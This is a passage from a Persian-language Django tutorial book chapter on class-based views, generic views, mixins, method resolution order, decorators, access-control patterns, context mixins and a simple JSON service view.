این است که هنگام شخصی سازی ویو می‌توانیم راحت‌تر آن را انجام دهیم. شما می‌توانید یک کلاس عمومی ویو برای خوش آمدگویی بنویسید و خوش آمدگویی‌های اختصصاصی خود را نیز از آن استخراج کنید مثل زیر:\n\n```python\n    class GreetView(View):\n        greeting = \"Hello {}!\"\n        default_name = \"World\"\n        def get(self, request, **kwargs):\n            name = kwargs.pop(\"name\", self.default_name)\n            return HttpResponse(self.greeting.format(name))\n\n    class SuperVillainView(GreetView):\n        greeting = \"We are the future, {}. Not them. \"\n        default_name = \"my friend\"\n```\n\nپس ```پیکربندی URL``` نشأت گرفته از کلاس به صورت زیر است:\n\n```python\n    # In urls.py\n        path('hello-su/<str:name>/', views.SuperVillainView.as_view()),\n        path('hello-su/', views.SuperVillainView.as_view()),\n```\n\nدر صورتی که شما بخواهید چند آرگومان کلمه کلیدی با مقادیر پیشفرضشان را به تابع ویو اضافه و شخصی سازی کنید در شیوه مشابه ممکن نیست و این می‌تواند غیر قابل مدیریت باشد.این دقیقاً همان دلیلی است که ویوهای عمومی، از تابع‌های ویو به ویوهای مبتنی بر کلاس مهاجرت کردند.\n\n**جنگو رها شده(داستان)**\n\nاستیو بعد از صرف دو هفته زمان برای شکار کردن یه توسعه دهنده خوب جنگو شروع به فکر کردن خلاقانه و متفاوت کرد. متوجه موفقیت بزرگشان در رویداد هکاتون شد، او و هارت یک مسابقه *جنگوی رها شده* را در S.H.I.M سازماندهی کرده‌اند. قوانین آن‌ها بسیار ساده است: ساختن یک وب اپلیکیشن در یک روز. این ممکنه ساده باشد ولی شما نمی‌توانی یک روز را رد کنی یا زنجیر را بشکنی. هر کسی که طولانی‌ترین زنجیر را بسازد برنده است.\n\nبرنده، برد زانی(Brad Zanni) یک سوپرایز واقعی بود. اون یک طراح سنتی بود که هیچ سررشته‌ای از برنامه نویسی نداشت. اون فقط یک بار در کلاس آموزشی یک هفته‌ای جنگو فقط برای ضربه زدن شرکت کرده بود. اون یک زنجیره ناگسستنی از 21 سایت جنگو که همه از صفر ساخته شده بودند را مدیریت کرد.\n\nاستیو برای روز بعد از همان روز با او برای ساعت 10 در دفترش قرار ملاقاتی گذاشت. اگر چه برد نمی‌دانست که در فرآیند استخدام قرار گرفته است. در زمان مقرر شده ضربه آرامی شنیده شد و پسری لاغر و ریشو که اواخر بیست سالگی بود وارد شد. همانطور که آن‍ها صحبت می‌کردند، برد هیچ تظاهری به واقعیت نکرد که یک برنامه‌نویس نیست. در واقع برای او هیچ تظاهر کردنی نبود. با چشمان آرام آبیش به عینک ضخیمش نگاهی انداخت و توضیح داد که رازش خیلی ساده بوده است؛ الهام بگیر و تمرکز کن.\n\nاو روزش را با یک وایرفریم(طرح اولیه) ساده شروع می‌کرد. بعد می‌خواست یک پروژه خام جنگو را با قالب بوت استرپ توئیتر بسازد. او ویوهای عمومی مبتنی بر کلاس جنگو را پیدا کرد که راهی عالی‌ برای کد نوشتنی بدون سختی، برای ساختن ویوها بود. بعضی اوقات او از یک یا دوتا از میکسین‌های جنگو استفاده میکرد و همچنین عاشق رابط پنل مدیریت جنگو برای اضافه کردن داده در هنگام کار کردن بود.\n\nپروژه مورد علاقه‌اش Labyrinth بود؛ یک هانی پات که به فروم بیس بال مبدل شده بود. او حتی توانست چندین ربات نظارتی که در حال شکار سایت‌های آسیب پذیر بودند را نیز به دام بیاندازد. وقتی که استیو درباره پروژه سوپر کتاب به او توضیح داد، اون خیلی بیشتر خوشحال شد که این پیشنهاد را قبول کند. ایده ساخت شبکه اجتماعی میان ستاره‌ای واقعاً او را مجذوب خود کرد. با کمی گشت و گذار بیشتر، استیو می‌توانست چند ده پروفایل جذاب مثل برد را در S.H.I.M پیدا کند. او یاد گرفت که در وهله اول به جای گشتن در خارج از مجموعه، بهتر است که اول، داخل سازمان را جستجو کند.\n\n## ویوهای عمومی مبتنی بر کلاس\n\nویوهای عمومی مبتنی بر کلاس، ویوهای مرسومی برای پیاده سازی کردن به شیوه شئ گرا (مخصوصاً متود الگوی قالب) برای استفاده مجدد بهتر هستند. من از اصطلاح ویوهای عمومی متنفرم و ترجیح میدهم آن‌ها را **ویوهای استاک** صدا بزنم، مثل عکس‌های استوک. شما می‌توانید با کمی تغییر و تحول برای اکثر کارهای مرسومی که نیاز دارید از آن‌ها استفاده کنید.\n\nویوهای عمومی به این دلیل ساخته شدند که توسعه دهنده‌های جنگو احساس میکردند دارند همان نوع ویوها را در هر پروژه‌ای دوباره می‌سازند. تقریباً هر پروژه نیاز به یک صفحه داشت که لیستی از اشیاء(```ListView```)، جزیئات یک شئ(```DetailView```) یا فرمی برای ساختن یک شئ(```CreateView```) را نشان دهند. به دلیل اصل DRY(خودت را تکرار نکن)، این ویوهای با قابلیت استفاده مجدد با جنگو همراه شدند.\n\nجدول مناسبی از ویوهای عمومی در جنگو 2.0 در زیر آمده است:\n\n| توضیحات | نام کلاس | نوع کلاس |\n| :---: | :---: | ---: |\n|این ویو پدر تمام ویوها است که درستی(سلامت عقل) و ارسال(اعزام) را بررسی می‌کند.|View|پایه(base)|\n|این ویو از قالب رندر میگیرد و کلمات کلیدی ```پیکربندی URL``` را در درون کانتکس قرار می‌دهد.|TemplateView|پایه(base)|\n|این ویو هر درخواست ```GET``` را ریدایرکت می‌کند.|RedirectView|پایه(base)|\n|این ویو از آیتم‌های قابل تکرار مثل ```queryset``` رندر میگیرد.|ListView|لیست(List)|\n|این ویو، از آیتم بر اساس ```pk(کلید اصلی)``` یا ```slug(آدرس مخصوص آن آیتم)``` در ```پیکربندی URL``` رندر میگیرد.|DetailView|جزئیات(Detail)|\n|این ویو از فرم رندر میگیرد و آن را پردازش می‌کند.|FormView|ویرایش(Edit)|\n|این ویو از فرم رندر میگیرد و آن را برای ساخت یک شئ جدید پردازش می‌کند.|CreateView|ویرایش(Edit)|\n|این ویو از فرم رندر میگیرد و آن را برای ویرایش کردن یک شئ پردازش می‌کند.|UpdateView|ویرایش(Edit)|\n|این ویو از فرم رندر میگیرد و برای حذف کردن یک شئ آن را پردازش می‌کند.|DeleteView|ویرایش(Edit)|\n|این ویو لیستی از اشیاء را با فیلد ```تاریخ``` رندر میگیرد که آخرین شئ در اول قرار میگیرد و به همین ترتیب. |ArchiveIndexView|تاریخ(Date)|\n|این ویو لیستی از اشیاء را با فیلد ```سال``` که توسط ```پیکربندی URL``` به آن داده می‌شود، رندر میگیرد.|YearArchiveView|تاریخ(Date)|\n|این ویو لیستی از اشیاء را با فیلد ```سال``` و ```ماه``` رندر میگیرد.|MonthArchiveView|تاریخ(Date)|\n|این ویو لیستی از اشیاء را با فیلد ```سال``` و شماره ```هفته``` رندر میگیرد.|WeekArchiveView|تاریخ(Date)|\n|این ویو لیستی از اشیاء را با فیلد ```سال، ماه``` و ```روز``` رندر میگیرد.|DayArchiveView|تاریخ(Date)|\n|این ویو لیستی از اشیاء که تاریخ آن‌ها، امروز است را رندر میگیرد.|TodayArchiveView|تاریخ(Date)|\n|این ویو شئ‌ای را که با فیلدهای ```سال، ماه``` و ```روز``` که بر اساس ```pk(کلید اصلی)``` یا ```slug(آدرس مخصوص آن آیتم)``` مشخص شده است را رندر می‌گیرد.|DateDetailView|تاریخ(Date)|\n|این ویو فرم ورود را رندر میگیرد و فرآیند وارد شدن را مدیریت می‌کند.|LoginView|احراز هویت(Auth)|\n|این ویو کاربرانی که قبلاً وارد شده اند و هنوز از حساب خود خارج نشده‌اند را خارج کرده و پیام **شما خارج شدید** را به آن‌ها نشان می‌دهد.|LogoutView|احراز هویت(Auth)|\n|این مجموعه‌ای از شش ویو است که جریان کار فراموشی رمز عبور و تغییر آن را مدیریت می‌کند.|Password*View|احراز هویت(Auth)|\n\nما کلاس‌های پایه مثل ```BaseDetailView``` یا میکسین‌ها مانند ```SingleObjectMixin``` را اینجا ذکر نکردیم. آن‌ها به عنوان کلاس‌های پدر طراحی شده‌اند و در بیشتر موارد، شما از آن‌ها به صورت مستقیم استفاده نمی‌کنید.\n\nمن قویاً توصیه میکنم که مناسب‌ترین ویوی عمومی را انتخاب کنید. به طور مثال به جای استفاده از ```ListView``` می‌توانید همان ویو را با استفاده از ```TemplateView``` پیاده سازی کنید یا حتی ```View```. هر چند که اینطور شما اکثر مزیت‌های استفاده کردن از ویوهای عمومی را از دست می‌دهید.\n\nپس خودتان را با این جدول آشنا کنید و ویو عمومی که با توجه به نیازتان، بیشترین تطابق را دارد انتخاب کنید. بهترین منبع برای ویوهای عمومی مبتنی بر کلاس درجه یک به آدرس <http://ccbv.co.uk/> است(اکثر توسعه دهندگان جنگو این آدرس را بخاطر دارند). شما تمام ویژگی‌ها و متودهای هر یک از ویوهایی که در اینجا ذکر شد را پیدا خواهید کرد.\n\n### ویوهای مبتنی بر کلاس همیشه عمومی ویوهای مبتنی بر کلاس نیستند\n\nاکثر افراد بین ویوهای مبتنی بر کلاس با ویوهای عمومی مبتنی بر کلاس گیج می‌شوند. اسم‌های آن‌ها بهم شبیه است ولی یکی نیستند. این منجر به برخی ```تصورات غلط(misconceptions)``` شده که در زیر آمده است:\n\n- **فقط ویوهای عمومی هستند که با جنگو همراه شده‌اند**: خوشبختانه این اشتباه است. هیچ جادوی خاصی در ویوهای عمومی مبتنی بر کلاس نیست که ارائه شده باشد.\n\nشما آزادید که مجموعه ویوهای عمومی مبتنی بر کلاس خود را منتشر کنید همچنین می‌توانید از کتابخانه‌های واسط مثل```django-vanilla-views```(<http://django-vanilla-views.org/>) فلان استفاده کنید که پیاده‌سازی ساده‌تری نسبت به ویوهای عمومی استاندارد دارند. به خاطر داشته باشید که استفاده از ویوهای عمومی شخصی‌سازی شده ممکن است که کد شما را برای بقیه ناآشنا کند.\n- **ویوهای مبتنی بر کلاس همیشه باید از ویوهای عمومی استخراج شوند**: دوباره می‌گوییم، هیچ چیز جادویی برای ویوهای عمومی مبتنی بر کلاس وجود ندارد. اگر چه 90 درصد اوقات، شما کلاس عمومی مثل ```View``` را پیدا می‌کنید که برای استفاده به عنوان کلاس پایه ایده‌آل است. شما آزادید که ویژگی‌های مشابه خودتان را پیاده‌سازی کنید.\n\n## میکسین‌های ویو\n\nمیکسین‌ها ذات کدهای DRY در ویوهای مبتنی بر کلاس هستند. میکسین‌های ویو نیز مثل میکسین‌های مدل، از مزیت ارث‌بری چندگانه پایتون برای استفاده مجدد تکه‌های عملکرد استفاده می‌کنند. آن‌ها اغلب کلاس‌های بدون پدر در پایتون 3 هستند(یا اگر چه این‌ها کلاس‌های سبک جدید هستند از کلاس ```شئ(object)``` در پایتون 2 استخراج شده‌اند).\n\nمیکسین‌ها، پردازش‌های ویو را که در جای خوب تعریف شده باشند پیگیری میکنند. به طور مثال اکثر ویوهای عمومی از ```get_context_data``` استفاده می‌کنند تا دیکشنری کانتکس را با آن تنظیم کنند. کلاس مشتق شده یا میکسین‌ها میتوانند متغیر کانتکس اضافه را به آن اضافه کند. برای مثال ```فید(feed)``` حاوی فیدهای کاربران درباره پست‌ها است. در زیر میکسین آن که ممکن است چگونه باشد آمده است:\n\n```python\n    class FeedMixin:\n        def get_context_data(self, **kwargs):\n            context = super().get_context_data(**kwargs)\n            context[\"feed\"] = models.Post.objects.viewable_posts(\n                self.request.user)\n            return context\n```\n\nمتود ```get_context_data``` در ابتدا کانتکس‌های همنام خود را در تمامی کلاس‌های پایه فراخوانی کرده و تجمیع می‌کند. بعد مقدار دیکشنری کانتکس را با متغیر ```feed``` بروزرسانی می‌کند.\n\nحالا با قرار گرفتن آن در لیست کلاس های پایه می‌توان از این میکسین برای افزودن فید کاربر استفاده کرد. اگر سوپر کتاب به یک صفحه اصلی شبکه اجتماعی معمولی با یک فرم برای ساختن یک پست بر اساس فید شما نیاز دارد، می‌تواند از این میکسین که در زیر آمده است استفاده کند:\n\n```python\n    class MyFeed(FeedMixin, generic.CreateView):\n        model = models.Post\n        template_name = \"myfeed.html\"\n        success_url = reverse_lazy(\"my_feed\")\n```\n\nیک میکسین که خوب نوشته شده باشد الزامات خیلی کمی دارد. باید انقدر انعطاف پذیر باشد که در اکثر موقعیت‌ها مفید واقع شود. در مثال قبل، ```FeedMixin``` متغیر کانتکس ```feed``` را در کلاس مشتق شده بازنویسی خواهد کرد. اگر یک کلاس پدر از متغیر کانتکس ```feed``` استفاده کند می‌تواند روی میکسین باعث ایجاد نقص شود. از این رو خیلی مفیدتر خواهد بود اگر یک متغیر کانتکس شخصی سازی شده جدید را بسازد مثل زیر:\n\n```python\n    class FeedMixin(object):\n        feed_context_name = \"feed\"\n\n        def get_context_data(self, **kwargs):\n            context = super().get_context_data(**kwargs)\n            context[self.feed_context_name] = \n                models.Post.objects.viewable_posts(self.request.user)\n            return context\n```\n\nتوانانی ترکیب کردن میکسین‌ها با بقیه کلاس‌ها نیز برایشان هم بزرگ‌ترین مزیت است و هم بزرگ‌ترین عیب. اشتباه ترکیب کردن آن‌ها می‌تواند به نتایج عجیب و غریب منجر شود. پس قبل از استفاده از میکسین نیاز دارید اطمینان حاصل کنید که سورس کد میکسین و بقیه کلاس‌ها، درگیری‌ای با متودها یا متغیرهای کانتکس نداشته باشند.\n\n### ترتیبی از میکسین‌ها\n\nشما ممکن است با کدهایی مواجه شده باشید که چندین میکسین به صورت زیر داشته‌اند:\n\n```python\nclass ComplexView(MyMixin, YourMixin, AccessMixin, DetailView):\n```\n\nپی بردن به ترتیب لیست کلاس‌های پایه می‌تواند بسیار مشکل باشد. مثل اکثر چیزها در پایتون، قوانین عادی پایتون اعمال می‌شود. **Method Resolution Order (MRO)** پایتون معین می‌کند که آن‌ها چطور باید مرتب شوند.\n\nمخلص کلام این است که میکسین‌ها اول بیایند و کلاس‌های پایه، آخر. هر چی کلاس پدر تخصصی‌تر باشه باید چپ تر قرار بگیرد. در عمل این تنها قانونی است که باید یادتان بماند. \n\nبرای اینکه متوجه شوید  چرا اینطوری کار میکند به مثال ساده زیر توجه کنید:\n\n```python\n    class A:\n        def do(self):\n            print(\"A\")\n\n\n    class B:\n        def do(self):\n            print(\"B\")\n\n\n    class BA(B, A):\n        pass\n\n\n    class AB(A, B):\n        pass\n\n\n    BA().do() # Prints B\n    AB().do() # Prints A\n```\n\nهمانطور که شما انتظار دارید اگر در لیست کلاس‌های پایه ```B``` قبل از ```A``` ذکر شده بود، متود ```B``` صدا زده میشد و بالعکس.\n\nحالا تصور کنید که ```A``` کلاس پایه‌ای مثل ```CreateView``` باشد و ```B``` میکسینی مثل ```FeedMixin```. یک میکسین عملکرد پایه‌ای یک کلاس پایه را بیش از پیش افزایش می‌دهد. از این رو باید کد میکسین اول عمل کند و به نوبه خود اگر نیاز بود کلاس پایه هم صدا زده شود. پس ترتیب درست، ```BA```(میکسین اول، پایه آخر) است.\n\nترتیب اینکه مشخص کنیم چطور کلاس‌های پایه را صدا بزنیم می‌تواند با چک کردن ویژگی ```__mro__``` کلاس بررسی شود:\n\n```python\n    >>> AB.__mro__\n    (<class 'AB'>, <class 'A'>, <class 'B'>, <class 'object'>)\n```\n\nپس اگر ```AB``` متود ```()super``` را صدا بزند، اول ```A``` فراخوانی می‌شود؛ بعد متود ```()super``` کلاس ```A```، کلاس ```B``` را صدا خواهد زد و به همین ترتیب.\n\n\n**نکته(TIP)**\n\nمعمولاً MRO پایتون به ترتیب در مرحله اول، از عمق شروع میکند و در مرحله دوم از چپ به راست را، برای انتخاب متود در سلسله مراتب کلاس‌ها دنبال می‌کند. جزئیات بیشتر میتواند در <http://www.python.org/download/releases/2.3/mro/> پیدا شود.\n\n## دکوراتورها\n\nقبل از ویوهای مبتنی بر کلاس، دکوراتورها تنها راه برای تغییر رفتار ویوهای مبتنی بر تابع بودند. از آنجایی که اطراف یک تابع قرار دارند، نمی‌توانستند عملکرد ویو را تغییر دهند و بنابراین به طور موثر با آن، مثل جعبه‌ای که از درونش خبر ندارند رفتار میکردند. \n\nیک ```دکوراتور(Decorator)``` تابعی است که تابعی را می‌گیرد و یک تابع دکوراتور شده را برمیگرداند. گیج شدید؟ یک سری کد وجود دارد که به شما کمک می‌کند این مسئله را بهتر متوجه شوید. استفاده از علامت ```@``` برای نشان دادن دکوراتور است، همانطور که در زیر دکوراتور ```login_required``` نشان داده شده است:\n\n```python\n    @login_required\n    def simple_view(request):\n        return HttpResponse()\n```\n\nکدی که در ادامه آمده دقیقاً همان کد قبلی است:\n\n```python\n    def simple_view(request):\n        return HttpResponse()\n\n    simple_view = login_required(simple_view)\n```\n\nاز آنجایی که ```login_required``` اطراف ویو قرار گرفته است، تابع اطراف گیرنده(wrapper)، کنترل تابع را بدست می‌گیرید. اگر کاربری وارد نشده باشد به ```settings.LOGIN_URL``` ریدایرکت می‌شود. در غیر اینصورت تابع ```simple_view``` را اجرا می‌کند انگار که اصلاً وجود نداشته است.\n\nدکوراتورها انعطاف کمتری نسبت به میکسین‌ها دارند هرچند ساده‌ترند. شما می‌توانید از هر دو آنها یعنی دکوراتورها و میکسین‌ها استفاده کنید. در حقیقت، تعداد زیاد از میکسین‌ها با دکوراتورها پیاده‌سازی شده‌اند. \n\n## الگوهای ویو\n\nبیاید چندتا از الگوهای طراحی دیده شده در طراحی ویو را ببینیم.\n\n### الگو - دسترسی به ویوهای کنترل شده\n\n**مسئله**: صفحات نیاز دارند با شروطی قابل دسترسی باشند چه کاربر وارد شده باشد، چه عضو باشد چه کارمند یا هر شرط دیگری.\n\n**راه حل**: استفاده از میکسین‌ها یا دکوراتورها برای کنترل دسترسی به ویو.\n\n#### جزئیات مسئله\n\nاکثر وب سایت‌ها صفحاتی دارند که فقط اگر شما وارد شده باشید می‌توانید به آن دسترسی پیدا کنید. مسلماً بقیه صفحات در دسترس افراد ناشناس یا بیننده‌های عمومی است. اگر بیننده‌های ناشناس بخواهند تلاش کنند که به صفحاتی که باید کاربر وارد شده باشد دسترسی پیدا کنند، به صفحه ورود منتقل می‌شوند. در حالت ایده‌آل به این صورت است که بعد از وارد شدن دوباره به همان صفحه قبلی که میخواستند آن را ببینند منتقل شوند. \n\nبه طور مشابه صفحاتی هستند که مسلماً فقط نوع خاصی از کاربران می‌توانند آن را ببینند. به طور مثال پنل مدیریت جنگو فقط برای کارمندان قابل دسترس است. اگر افراد غیر کارمند تلاش کنند که به صفحات مدیریت دسترسی پیدا کنند، به صفحه ورود منتقل می‌شوند.\n\nدر نهایت، صفحاتی هستند که اگر فقط دسترسی دیدن آن‌ها به ما اعطا شده باشد می‌توانیم آن‌ها را ببینیم. برای مثال توانایی ویرایش کردن یک نوشته باید فقط برای نویسنده آن قابل دسترس باشد. هر کس دیگری که بخواهد به این صفحه دسترسی پیدا کند باید خطای **دسترسی غیرمجاز(Permission Denied)** را ببیند.\n\n#### جزئیات راه حل\n\nدو راه برای کنترل دسترسی ویو وجود دارد:\n\n1. به وسیله استفاده از دکوراتورها روی ویوهای مبتنی بر تابع یا ویوهای مبتنی بر کلاس:\n\n```python\n    @login_required(MyView.as_view())\n```\n\n2. به وسیله بازنویسی کردن متود ```dispatch``` ویوهای مبتنی بر کلاس از طریق میکسین:\n\n```python\n    from django.utils.decorators import method_decorator\n\n    class LoginRequiredMixin:\n        @method_decorator(login_required)\n        def dispatch(self, request, *args, **kwargs):\n            return super().dispatch(request, *args, **kwargs)\n```\n\n3. ما واقعا اینجا نیازی به دکوراتورها نداریم. به شما توصیه میشود که از حالت خیلی صریح‌تر زیر استفاده کنید:\n\n```python\n    class LoginRequiredMixin:\n\n        def dispatch(self, request, *args, **kwargs):\n            if not request.user.is_authenticated():\n                raise PermissionDenied\n            return super().dispatch(request, *args, **kwargs)\n```\n\nوقتی شما خطای ```دسترسی غیر مجاز(Permission Denied)``` را مطرح کنید. جنگو قالب ```403.html``` در دایرکتوری ریشه شما را نمایش می‌دهد یا در صورت نبود آن، صفحه استاندارد **403 ممنوع(403 Forbidden)** را نمایش می‌دهد.\n\nالبته شما به مجموعه‌ای از میکسین‌های قدرتمند و شخصی سازی شده برای پروژه‌های واقعی  نیاز دارید. پکیج ```django-braces``` (<https://github.com/brack3t/django-braces>) مجموعه‌ عالی از میکسین‌ها مخصوصاً برای کنترل کردن دسترسی به ویوها دارد.\n\nدر اینجا مثالی از استفاده آن برای کنترل دسترسی به ویو برای کاربران وارد شده و ناشناس آورده شده است:\n\n```python\n    from braces.views import LoginRequiredMixin, AnonymousRequiredMixin\n\n    class UserProfileView(LoginRequiredMixin, DetailView):\n        # This view will be seen only if you are logged-in\n        pass\n\n    class LoginFormView(AnonymousRequiredMixin, FormView):\n        # This view will NOT be seen if you are loggedin\n        authenticated_redirect_url = \"/feed\"\n```\n\nجنگو ```LoginRequiredMixin``` از آدرس ```django.contrib.auth.mixins``` را با پیاده سازی خودش آماده کرده است اما میکسینی برای محدود کردن ویو فقط برای کاربران ناشناس آماده نکرده است.\n\nکاربران کارمند در جنگو فقط کاربرانی هستند که پرچم ```is_staff``` آن‌ها در مدل کاربر تنظیم شده است. شما می‌توانید میکسین پیش ساخته ```UserPassesTestMixin``` را صدا بزنید و استفاده کنید که در زیر مثال آن آمده است:\n\n```python\n    from django.contrib.auth.mixins import UserPassesTestMixin\n\n    class SomeStaffView(UserPassesTestMixin, TemplateView):\n        def test_func(self, user):\n            return user.is_staff\n```\n\nشما همچنین می‌توانید میکسین‌های خودتان را بسازید که بررسی‌های به خصوصی را انجام دهد مانند اینکه شئ‌ای توسط نویسنده‌اش ویرایش می‌شود یا خیر(به وسیله مقایسه‌‌اش با یوزرهای وارد شده):\n\n```python\n    class CheckOwnerMixin:\n        # To be used with classes derived from SingleObjectMixin\n        def get_object(self, queryset=None):\n            obj = super().get_object(queryset)\n            if not obj.owner == self.request.user:\n                raise PermissionDenied\n            return obj\n```\n\nتوصیه می‌شود تا حد امکان به کاربران کمترین امتیاز برای اشیاء داده شود. به این اصل، **اصل حداقل امتیاز(Principle of least privilege)** گفته می‌شود. به عنوان بهترین شیوه، حتما مطمئن شوید که کدام کاربران یا گروه‌ها به جای دسترسی پیشفرضی که دارند، مطمئناً می‌توانند چه کارهایی روی اشیاء انجام دهند.\n\n### الگو - بهبود دهنده‌های کانتکس\n\n**مسئله**: چندین ویو بر اساس ویوهای عمومی نیاز به همان متغیر کانتکس دارند.\n\n**راه حل**: ساخت یک میکسین که مجموعه‌هایی از متغیر کانتکس را به اشتراک بگذارد.\n\n#### جزئیات مسئله\n\nقالب‌های جنگو فقط می‌توانند متغیرهایی را نمایش دهند که در دیکشنری کانتکس حاضر باشند. هرچند سایت‌ها نیاز دارند که همان اطلاعات در چندین صفحه باشد. برای نمونه، سایدباری که پست‌های اخیر را در فید شما نمایش می‌دهد ممکن است در چندین ویو نیاز باشد.\n\nهرچند اگر از ویو عمومی مبتنی بر کلاس استفاده کنیم، فقط می‌توانیم مجموعه محدودی از متغیرهای کانتکس مربوط به آن مدل به خصوص استفاده کنیم. تنظیم کردن همان متغیر کانتکس در هر ویو پیروی کردن از اصل DRY نیست.\n\n#### جزئیات راه حل\n\nاکثر ویوهای عمومی مبتنی بر کلاس از ```ContextMixin``` مشتق شده‌اند که متود ```get_context_data``` را آماده کرده است و اکثر کلاس‌ها آن را بازنویسی می‌کنند و متغیرهای کانتکس خودشان را به آن اضافه می‌کنند. درحالی که بهترین شیوه بازنویسی این متود است؛ شما اول نیاز دارید ```get_context_data``` سوپر کلاس را صدا بزنید و بعد متغیرهای کانتکس خودتان را اضافه یا بازنویسی کنید.\n\nما می‌توانیم این حالت از میکسین‌ها را همانطور که در قبل دیدیم انتزاع کنیم:\n\n```python\n    class FeedMixin(object):\n        def get_context_data(self, **kwargs):\n            context = super().get_context_data(**kwargs)\n            context[\"feed\"] = models.Post.objects.viewable_posts(\n                self.request.user)\n            return context\n```\n\nما می‌توانیم این میکسین را به ویوهامان اضافه کرده و از متغیرهای کانتکس اضافه شده نیز در قالبمان استفاده کنیم. به خاطر داشته باشید که ما از مدیر مدل(model manager) تعریف شدۀ [فصل 3]('../../../03-%20Models/README.md) *مدل‌ها*، برای فیلتر کردن پست‌ها استفاده می‌کنیم.\n\nراه حل خیلی عمومی‌تر استفاده از میکسین ```StaticContextMixin``` از پکیج ```django-braces``` برای متغیرهای کانتکس ایستا است. به طور مثال ما می‌توانیم متغیر کانتکس ```latest_profile``` را که آخرین کاربری که به اضافه شده است، را اضافه کنیم:\n\n```python\n    class CtxView(StaticContextMixin, generic.TemplateView):\n        template_name = \"ctx.html\"\n        static_context = {\"latest_profile\": Profile.objects.latest('pk')}\n```\n\nدر اینجا ```static_context``` به معنای هرچیزی است که از یک درخواست تا به درخواست دیگر تغییری نمی‌کند. به این معنا که شما می‌توانید مجموعه‌هایی از پرس و جوها(```Querysets```) را به خوبی ذکر کنید. هر چند متغیر کانتکس فید ما به ```self.request.user``` نیاز دارد تا پست‌های قابل دیدن کاربر را بازیابی کند. از این رو نمی‌تواند به عنوان کانتکس ایستا در اینجا استفاده شود.\n\nمتقابلاً اگر کانتکس اشتراکی مقداری ایستا باشد و ویوی عمومی از ```ContextMixin``` مشتق شده باشد(که اکثراً همینطور است) پس آن‌ها هنگام صدا زدن ```as_view``` می‌توانند ذکر شوند. برای نمونه:\n\n```python\n    path('myfeed/', views.MyFeed.as_view(\n        extra_context={'title': 'My Feed'})),\n```\n\n### الگو - سرویس‌ها\n\n**مسئله**: اپلیکیشن‌ها به یک رابط ماشینی برای یک قابلیت یا اطلاعات خاص وب سایت شما نیاز دارند. دریافت و خراشیدن داده از صفحات HTML رندر شده می‌تواند کاری سخت و پرزحمت باشد. برعکس API تمام عیار(که در [فصل 8]('../../../08-%20Working%20Asynchronously/README.md)، *کار کردن به صورت ناهمزمان* پوشش داده شده است) که نیاز به یک اندپوینت واحد برای یک هدف خاص یا یکبار استفاده اشاره دارد. \n\n**راه حل**: یک سرویس سبک بسازید که داده را به حالت ماشین پسند مثل JSON یا XML برگرداند.\n\n\n#### جزئیات مسئله\n\nما اغلب فراموش می‌کنیم که وب سایت‌ها فقط توسط انسان‌ها استفاده نمی‌شوند. درصد قابل توجهی از ترافیک وب از دیگر برنامه‌ها مثل خزنده‌ها، ربات‌ها، خراش دهنده‌ها می‌آید. گاهی اوقات شما نیاز دارید همچنین برنامه‌هایی را برای خودتان بنویسید که اطلاعاتی از سایت‌های دیگر را استخراج کند.\n\nعموماً صفحات طراحی شده برای مصرف انسان‌ها برای استخراج مکانیکی سنگین و دست و پاگیر هستند. صفحات HTML دارای اطلاعاتی هستند که توسط نشانه گذاری احاطه شده است و نیاز به پاک سازی گسترده دارند. گاهی اوقات اطلاعات پراکنده شده است و نیاز به گردآوری و تبدیل این داده‌های پراکنده است.\n\nیک رابط ماشینی برای این چنین موقعیت‌هایی ایده‌آل است. شما فقط نمی‌توانید دردسر استخراج اطلاعات را کاهش دهید اما می‌توانید مخلوطی از آن بسازید. طول عمر اپلیکیشن اگر عملکرد آن به شیوه‌ای ماشین پسند در معرض دید قرار گیرد به طور فزاینده‌ای افزایش می‌یابد.\n\n#### جزئیات راه حل\n\nدر جنگو شما می‌توانید بدون استفاده پکیج‌های واسط یک سرویس پایه‌ بسازید. به جای رندر گرفتن HTML، شما می‌توانید داده سریالایز شده را در حالت JSON برگردانید.\n\nبرای مثال، ما می‌توانیم سرویس ساده‌ای بسازیم که پنج پست عمومی اخیر از سوپر کتاب را برمیگرداند:\n\n```python\n    from django.http import JsonResponse\n\n    class PublicPostJSONView(View):\n        def get(self, request, *args, **kwargs):\n            msgs = models.Post.objects.public_posts().values(\n                \"posted_by_id\", \"message\")[:5]\n            return JsonResponse(list(msgs), safe=False\n```\n\nاگر سعی کنیم که این ویو را بازیابی کنیم به جای پاسخ HTML، رشته JSON دریافت خواهیم کرد:\n\n```python\n    >>> from django.test import Client\n    >>> Client().get(\"http://0.0.0.0:8000/public/\").content\n    b'[{\"posted_by_id\": 23, \"message\": \"Hello!\"},\n    {\"posted_by_id\": 13, \"message\": \"Feeling happy\"},\n    ...\n```\n\nتوجه کنید که ما نمی‌توانیم متود ```مجموعه پرس و جو(QuerySet)``` را مستقیماً برای رندر گرفتن پاسخ JSON قرار دهیم. آن باید لیست، دیکشنری یا هر نوع داده‌ای پیش ساخته پایتون باشد که بتواند توسط سریالایز JSON شناسایی شود. اگر شما هر نوع داده‌ای غیر از ```دیکشنری(dict)``` را سریالایز کنید، نیاز دارید که پارامتر کلید ```safe``` را برابر ```False``` قرار دهید.\n\nالبته اگر بخواهید هر چیز پیچیده‌تری از یک API ساده بسازید نیاز به استفاده از پکیج‌هایی مثل فریمورک رست جنگو(Django REST framework) دارید. فریمورک رست جنگو از سریالایز کردن(و دیسریالایز کردن) ```مجموعه پرس و جو(QuerySet)```، احراز هویت، ایجاد API قابل مرور وب و بقیه ویژگی‌های ضروری برای ساخت API قدرتمند و تمام عیار نیاز دارید مراقبت می‌کند. ما این را در [فصل 9]('../../../09-%20Creating%20APIs/README.md) *ساختن APIها* پوشش داده‌ایم.\n\n## طراحی کردن URLها\n\nجنگو یکی از منعطف‌ترین طرح‌های URL را در فریمورک‌های وب را دارا است. اساساً هیچ طرح ضمنی URL وجود ندارد. شما به صراحت می‌توانید هر طرح URL که برای کاربرانتان معنا پیدا می‌کند استفاده کنید.\n\nهر چند به عنوان ابرقهرمان دوست دارم بگویم؛ *قدرت بزرگ با مسئولیت‌های بزرگ همراه است*. شما دیگر نمیتوانید از طراحی درهم و برهم URL خلاص شوید.\n\nURLها قبلاً زشت بودند چون توسط کاربران نادیده گرفته می‌شدند. برگردیم به دهه 90 میلادی زمانی که استفاده کردن از پورتال‌ها محبوب بود. فرض بر این بود که کاربران شما از درب جلویی می‌آیند که صفحه اصلی است. آن‌ها با کلیک کردن بر روی لینک‌ها به دیگر قسمت‌های سایت‌ها می‌رفتند.\n\nموتورهای جستجو همه این چیزها را تغییر دادند. بنا 